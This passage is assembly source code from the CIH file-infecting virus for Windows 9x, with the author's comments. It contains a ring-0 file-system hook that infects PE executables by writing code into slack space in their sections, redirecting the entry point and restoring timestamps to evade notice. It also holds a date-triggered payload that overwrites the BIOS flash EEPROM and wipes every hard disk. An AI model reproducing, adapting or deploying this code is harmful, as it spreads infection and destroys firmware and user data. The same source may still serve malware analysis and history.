************************************* ; * Only for Debug * ; ************************************* ; cmp [esi+eax-06h], 'FUCK' cmp [esi+eax-06h], 'KCUF' jne DisableOnBusy ENDIF ; ************************************* ; * Is Open Existing File !? * ; ************************************* ; if ( NotOpenExistingFile ) ; goto DisableOnBusy cmp word ptr [ebx+18h], 01h jne DisableOnBusy ; ************************************* ; * Get Attributes of the File * ; ************************************* mov ax, 4300h int 20h ; VXDCall IFSMgr_Ring0_FileIO IFSMgr_Ring0_FileIO = $ dd 00400032h jc DisableOnBusy push ecx ; ************************************* ; * Get IFSMgr_Ring0_FileIO Address * ; ************************************* mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] mov edi, [edi] ; ************************************* ; * Is Read-Only File !? * ; ************************************* test cl, 01h jz OpenFile ; ************************************* ; * Modify Read-Only File to Write * ; ************************************* mov ax, 4301h xor ecx, ecx call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Open File * ; ************************************* OpenFile: xor eax, eax mov ah, 0d5h xor ecx, ecx xor edx, edx inc edx mov ebx, edx inc ebx call edi ; VXDCall IFSMgr_Ring0_FileIO xchg ebx, eax ; mov ebx, FileHandle ; ************************************* ; * Need to Restore * ; * Attributes of the File !? * ; ************************************* pop ecx pushf test cl, 01h jz IsOpenFileOK ; ************************************* ; * Restore Attributes of the File * ; ************************************* mov ax, 4301h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Is Open File OK !? * ; ************************************* IsOpenFileOK: popf jc DisableOnBusy ; ************************************* ; * Open File Already Succeed. ^__^ * ; ************************************* push esi ; Push FileNameBuffer Address to Stack pushf ; Now CF = 0, Push Flag to Stack add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ; *************************** ; * Get OffsetToNewHeader * ; *************************** xor eax, eax mov ah, 0d6h ; For Doing Minimal VirusCode's Length, ; I Save EAX to EBP. mov ebp, eax push 00000004h pop ecx push 0000003ch pop edx call edi ; VXDCall IFSMgr_Ring0_FileIO mov edx, [esi] ; *************************** ; * Get 'PE�' Signature * ; * of ImageFileHeader, and * ; * Infected Mark. * ; *************************** dec edx mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Is PE !? * ; *************************** ; * Is the File * ; * Already Infected !? * ; *************************** ; * WinZip Self-Extractor * ; * doesn't Have Infected * ; * Mark Because My Virus * ; * doesn't Infect it. * ; *************************** ; cmp [esi], '�PE�' cmp dword ptr [esi], 00455000h jne CloseFile ; ************************************* ; * The File is ^o^ * ; * PE(Portable Executable) indeed. * ; ************************************* ; * The File isn't also Infected. * ; ************************************* ; ************************************* ; * Start to Infect the File * ; ************************************* ; * Registers Use Status Now : * ; * * ; * EAX = 04h * ; * EBX = File Handle * ; * ECX = 04h * ; * EDX = 'PE��' Signature of * ; * ImageFileHeader Pointer's * ; * Former Byte. * ; * ESI = DataBuffer Address ==> @8 * ; * EDI = IFSMgr_Ring0_FileIO Address * ; * EBP = D600h ==> Read Data in File * ; ************************************* ; * Stack Dump : * ; * * ; * ESP => ------------------------- * ; * | EFLAG(CF=0) | * ; * ------------------------- * ; * | FileNameBufferPointer | * ; * ------------------------- * ; * | EDI | * ; * ------------------------- * ; * | ESI | * ; * ------------------------- * ; * | EBP | * ; * ------------------------- * ; * | ESP | * ; * ------------------------- * ; * | EBX | * ; * ------------------------- * ; * | EDX | * ; * ------------------------- * ; * | ECX | * ; * ------------------------- * ; * | EAX | * ; * ------------------------- * ; * | Return Address | * ; * ------------------------- * ; ************************************* push ebx ; Save File Handle push 00h ; Set VirusCodeSectionTableEndMark ; *************************** ; * Let's Set the * ; * Virus' Infected Mark * ; *************************** push 01h ; Size push edx ; Pointer of File push edi ; Address of Buffer ; *************************** ; * Save ESP Register * ; *************************** mov dr1, esp ; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Only First Set Size ) * ; *************************** push eax ; Size ; *************************** ; * Let's Read * ; * Image Header in File * ; *************************** mov eax, ebp mov cl, SizeOfImageHeaderToRead add edx, 07h ; Move EDX to NumberOfSections call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Set Pointer of File, * ; * Address of Buffer ) * ; *************************** lea eax, (AddressOfEntryPoint-@8)[edx] push eax ; Pointer of File lea eax, (NewAddressOfEntryPoint-@8)[esi] push eax ; Address of Buffer ; *************************** ; * Move EDX to the Start * ; * of SectionTable in File * ; *************************** movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] lea edx, [eax+edx+12h] ; *************************** ; * Let's Get * ; * Total Size of Sections * ; *************************** mov al, SizeOfScetionTable ; I Assume NumberOfSections <= 0ffh mov cl, (NumberOfSections-@8)[esi] mul cl ; *************************** ; * Let's Set Section Table * ; *************************** ; Move ESI to the Start of SectionTable lea esi, (StartOfSectionTable-@8)[esi] push eax ; Size push edx ; Pointer of File push esi ; Address of Buffer ; *************************** ; * The Code Size of Merge * ; * Virus Code Section and * ; * Total Size of Virus * ; * Code Section Table Must * ; * be Small or Equal the * ; * Unused Space Size of * ; * Following Section Table * ; *************************** inc ecx push ecx ; Save NumberOfSections+1 shl ecx, 03h push ecx ; Save TotalSizeOfVirusCodeSectionTable add ecx, eax add ecx, edx sub ecx, (SizeOfHeaders-@9)[esi] not ecx inc ecx ; Save My Virus First Section Code ; Size of Following Section Table... ; ( Not Include the Size of Virus Code Section Table ) push ecx xchg ecx, eax ; ECX = Size of Section Table ; Save Original Address of Entry Point mov eax, (AddressOfEntryPoint-@9)[esi] add eax, (ImageBase-@9)[esi] mov (OriginalAddressOfEntryPoint-@9)[esi], eax cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection jl OnlySetInfectedMark ; *************************** ; * Read All Section Tables * ; *************************** mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Full Modify the Bug : * ; * WinZip Self-Extractor * ; * Occurs Error... * ; *************************** ; * So When User Opens * ; * WinZip Self-Extractor, * ; * Virus Doesn't Infect it.* ; *************************** ; * First, Virus Gets the * ; * PointerToRawData in the * ; * Second Section Table, * ; * Reads the Section Data, * ; * and Tests the String of * ; * 'WinZip(R)'...... * ; *************************** xchg eax, ebp push 00000004h pop ecx push edx mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi] add edx, 12h call edi ; VXDCall IFSMgr_Ring0_FileIO ; cmp [esi], 'nZip' cmp dword ptr [esi], 'piZn' je NotSetInfectedMark pop edx ; *************************** ; * Let's Set Total Virus * ; * Code Section Table * ; *************************** ; EBX = My Virus First Section Code ; Size of Following Section Table pop ebx pop edi ; EDI = TotalSizeOfVirusCodeSectionTable pop ecx ; ECX = NumberOfSections+1 push edi ; Size add edx, ebp push edx ; Pointer of File add ebp, esi push ebp ; Address of Buffer ; *************************** ; * Set the First Virus * ; * Code Section Size in * ; * VirusCodeSectionTable * ; *************************** lea eax, [ebp+edi-04h] mov [eax], ebx ; *************************** ; * Let's Set My Virus * ; * First Section Code * ; *************************** push ebx ; Size add edx, edi push edx ; Pointer of File lea edi, (MyVirusStart-@9)[esi] push edi ; Address of Buffer ; *************************** ; * Let's Modify the * ; * AddressOfEntryPoint to * ; * My Virus Entry Point * ; *************************** mov (NewAddressOfEntryPoint-@9)[esi], edx ; *************************** ; * Setup Initial Data * ; *************************** lea edx, [esi-SizeOfScetionTable] mov ebp, offset VirusSize jmp StartToWriteCodeToSections ; *************************** ; * Write Code to Sections * ; *************************** LoopOfWriteCodeToSections: add edx, SizeOfScetionTable mov ebx, (SizeOfRawData-@9)[edx] sub ebx, (VirtualSize-@9)[edx] jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h mov [eax], ebx mov ebx, (PointerToRawData-@9)[edx] add ebx, (VirtualSize-@9)[edx] push ebx ; Pointer of File push edi ; Address of Buffer mov ebx, (VirtualSize-@9)[edx] add ebx, (VirtualAddress-@9)[edx] add ebx, (ImageBase-@9)[esi] mov [eax+4], ebx mov ebx, [eax] add (VirtualSize-@9)[edx], ebx ; Section contains initialized data ==> 00000040h ; Section can be Read. ==> 40000000h or (Characteristics-@9)[edx], 40000040h StartToWriteCodeToSections: sub ebp, ebx jbe SetVirusCodeSectionTableEndMark add edi, ebx ; Move Address of Buffer EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ; *************************** ; * Only Set Infected Mark * ; *************************** OnlySetInfectedMark: mov esp, dr1 jmp WriteVirusCodeToFile ; *************************** ; * Not Set Infected Mark * ; *************************** NotSetInfectedMark: add esp, 3ch jmp CloseFile ; *************************** ; * Set Virus Code * ; * Section Table End Mark * ; *************************** SetVirusCodeSectionTableEndMark: ; Adjust Size of Virus Section Code to Correct Value add [eax], ebp add [esp+08h], ebp ; Set End Mark xor ebx, ebx mov [eax-04h], ebx ; *************************** ; * When VirusGame Calls * ; * VxDCall, VMM Modifies * ; * the 'int 20h' and the * ; * 'Service Identifier' * ; * to 'Call [XXXXXXXX]'. * ; *************************** ; * Before Writing My Virus * ; * to File, I Must Restore * ; * them First. ^__^ * ; *************************** lea eax, (LastVxDCallAddress-2-@9)[esi] mov cl, VxDCallTableSize LoopOfRestoreVxDCallID: mov word ptr [eax], 20cdh mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] mov [eax+2], edx movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] sub eax, edx loop LoopOfRestoreVxDCallID ; *************************** ; * Let's Write * ; * Virus Code to the File * ; *************************** WriteVirusCodeToFile: mov eax, dr1 mov ebx, [eax+10h] mov edi, [eax] LoopOfWriteVirusCodeToFile: pop ecx jecxz SetFileModificationMark mov esi, ecx mov eax, 0d601h pop edx pop ecx call edi ; VXDCall IFSMgr_Ring0_FileIO jmp LoopOfWriteVirusCodeToFile ; *************************** ; * Let's Set CF = 1 ==> * ; * Need to Restore File * ; * Modification Time * ; *************************** SetFileModificationMark: pop ebx pop eax stc ; Enable CF(Carry Flag) pushf ; ************************************* ; * Close File * ; ************************************* CloseFile: xor eax, eax mov ah, 0d7h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Need to Restore File Modification * ; * Time !? * ; ************************************* popf pop esi jnc IsKillComputer ; ************************************* ; * Restore File Modification Time * ; ************************************* mov ebx, edi mov ax, 4303h mov ecx, (FileModificationTime-@7)[esi] mov edi, (FileModificationTime+2-@7)[esi] call ebx ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Disable OnBusy * ; ************************************* DisableOnBusy: dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy ; ************************************* ; * Call Previous FileSystemApiHook * ; ************************************* prevhook: popad mov eax, dr0 ; jmp [eax] ; Jump to prevhook ; ************************************* ; * Call the Function that the IFS * ; * Manager Would Normally Call to * ; * Implement this Particular I/O * ; * Request. * ; ************************************* pIFSFunc: mov ebx, esp push dword ptr [ebx+20h+04h+14h] ; Push pioreq call [ebx+20h+04h] ; Call pIFSFunc pop ecx ; mov [ebx+1ch], eax ; Modify EAX Value in Stack ; *************************** ; * After Calling pIFSFunc, * ; * Get Some Data from the * ; * Returned pioreq. * ; *************************** cmp dword ptr [ebx+20h+04h+04h], 00000024h jne QuitMyVirusFileSystemHook ; ***************** ; * Get the File * ; * Modification * ; * Date and Time * ; * in DOS Format.* ; ***************** mov eax, [ecx+28h] mov (FileModificationTime-@6)[esi], eax ; *************************** ; * Quit My Virus' * ; * IFSMgr_FileSystemHook * ; *************************** QuitMyVirusFileSystemHook: popad ret ; ************************************* ; * Kill Computer !? ... *^_^* * ; ************************************* IsKillComputer: ; Get Now Day from BIOS CMOS mov al, 07h out 70h, al in al, 71h xor al, 26h ; ??/26/???? IF DEBUG jmp DisableOnBusy ELSE jnz DisableOnBusy ENDIF ; ************************************** ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; ************************************** ; *************************** ; * Kill BIOS EEPROM * ; *************************** mov bp, 0cf8h lea esi, IOForEEPROM-@7[esi] ; *********************** ; * Show BIOS Page in * ; * 000E0000 - 000EFFFF * ; * ( 64 KB ) * ; *********************** mov edi, 8000384ch mov dx, 0cfeh cli call esi ; *********************** ; * Show BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** mov di, 0058h dec edx ; and al,0fh mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi ; *********************** ; * Show the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E01FF * ; * ( 512 Bytes ) * ; * , and the Section * ; * of Extra BIOS can * ; * be Writted... * ; *********************** lea ebx, EnableEEPROMToWrite-@10[esi] mov eax, 0e5555h mov ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ; *********************** ; * Kill the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E007F * ; * ( 80h Bytes ) * ; *********************** xor ah, ah mov [eax], al xchg ecx, eax loop $ ; *********************** ; * Show and Enable the * ; * BIOS Main ROM Data * ; * 000E0000 - 000FFFFF * ; * ( 128 KB ) * ; * can be Writted... * ; *********************** mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $ ; *********************** ; * Kill the BIOS Main * ; * ROM Data in Memory * ; * 000FE000 - 000FE07F * ; * ( 80h Bytes ) * ; *********************** mov ah, 0e0h mov [eax], al ; *********************** ; * Hide BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** ; or al,10h mov word ptr (BooleanCalculateCode-@10)[esi], 100ch call esi ; *************************** ; * Kill All HardDisk * ; *************************************************** ; * IOR Structure of IOS_SendCommand Needs * ; *************************************************** ; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * ; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * ; *************************************************** KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ; VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk ; *************************** ; * Enable EEPROM to Write * ; *************************** EnableEEPROMToWrite: mov [eax], cl mov [ecx], al mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al ret ; *************************** ; * IO for EEPROM * ; *************************** IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret ; ********************************************************* ; * Static Data * ; ********************************************************* LastVxDCallAddress = IFSMgr_Ring0_FileIO VxDCallAddressTable db 00h db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_Ring0_FileIO-UniToBCSPath VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h VxDCallTableSize = ($-VxDCallIDTable)/04h ; ********************************************************* ; * Virus Version Copyright * ; ********************************************************* VirusVersionCopyright db 'CIH v' db MajorVirusVersion+'0' db '.' db MinorVirusVersion+'0' db ' TATUNG' ; ********************************************************* ; * Virus Size * ; ********************************************************* VirusSize = $ ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ; ********************************************************* ; * Dynamic Data * ; ********************************************************* VirusGameDataStartAddress = VirusSize @6 = VirusGameDataStartAddress OnBusy db 0 FileModificationTime dd ? FileNameBuffer db FileNameBufferSize dup(?) @7 = FileNameBuffer DataBuffer = $ @8 = DataBuffer NumberOfSections dw ? TimeDateStamp dd ? SymbolsPointer dd ? NumberOfSymbols dd ? SizeOfOptionalHeader dw ? _Characteristics dw ? Magic dw ? LinkerVersion dw ? SizeOfCode dd ? SizeOfInitializedData dd ? SizeOfUninitializedData dd ? AddressOfEntryPoint dd ? BaseOfCode dd ? BaseOfData dd ? ImageBase dd ? @9 = $ SectionAlignment dd ? FileAlignment dd ? OperatingSystemVersion dd ? ImageVersion dd ? SubsystemVersion dd ? Reserved dd ? SizeOfImage dd ? SizeOfHeaders dd ? SizeOfImageHeaderToRead = $-NumberOfSections NewAddressOfEntryPoint = DataBuffer ; DWORD SizeOfImageHeaderToWrite = 04h StartOfSectionTable = @9 SectionName = StartOfSectionTable ; QWORD VirtualSize = StartOfSectionTable+08h ; DWORD VirtualAddress = StartOfSectionTable+0ch ; DWORD SizeOfRawData = StartOfSectionTable+10h ; DWORD PointerToRawData = StartOfSectionTable+14h ; DWORD PointerToRelocations = StartOfSectionTable+18h ; DWORD PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD NumberOfRelocations = StartOfSectionTable+20h ; WORD NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD Characteristics = StartOfSectionTable+24h ; DWORD SizeOfScetionTable = Characteristics+04h-SectionName ; ********************************************************* ; * Virus Total Need Memory * ; ********************************************************* VirusNeedBaseMemory = $ VirusTotalNeedMemory = @9 ; + NumberOfSections(??)*SizeOfScetionTable(28h) ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ; ********************************************************* ; ********************************************************* VirusGame ENDS END FileHeader

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